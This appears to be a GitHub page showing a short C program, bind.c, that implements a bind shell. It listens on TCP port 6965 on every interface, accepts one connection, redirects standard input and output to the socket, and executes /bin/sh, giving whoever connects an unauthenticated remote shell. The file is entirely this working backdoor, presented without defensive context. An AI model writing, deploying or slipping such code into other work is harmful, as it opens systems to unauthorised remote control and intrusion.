-
Notifications
You must be signed in to change notification settings - Fork 2
/
bind.c
50 lines (39 loc) · 991 Bytes
/
bind.c
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
#include <stdio.h>
#include <stdlib.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#define PORT 6965
/*
bind
Date: 08/08/21
Author: 0x1CA3
*/
// Checks for errors!
int server_check(int fd, struct sockaddr_in server) {
if (bind(fd, (struct sockaddr *)&server, sizeof(server)) != 0) {
fprintf(stderr, "[!] Bind error! [!]");
exit(EXIT_FAILURE);
}
if (listen(fd, 2) != 0) {
fprintf(stderr, "[!] Listening error! [!]");
exit(EXIT_FAILURE);
}
}
// Main function!
int main(void) {
int fd, connection;
struct sockaddr_in server;
server.sin_family = AF_INET;
server.sin_addr.s_addr = htonl(INADDR_ANY);
server.sin_port = htons(PORT);
fd = socket(PF_INET, SOCK_STREAM, 0);
server_check(fd, server);
connection = accept(fd, NULL, NULL);
for (int i = 0; i < 3; i++) {
dup2(connection, i);
}
execve("/bin/sh", NULL, NULL);
close(fd);
EXIT_SUCCESS;
}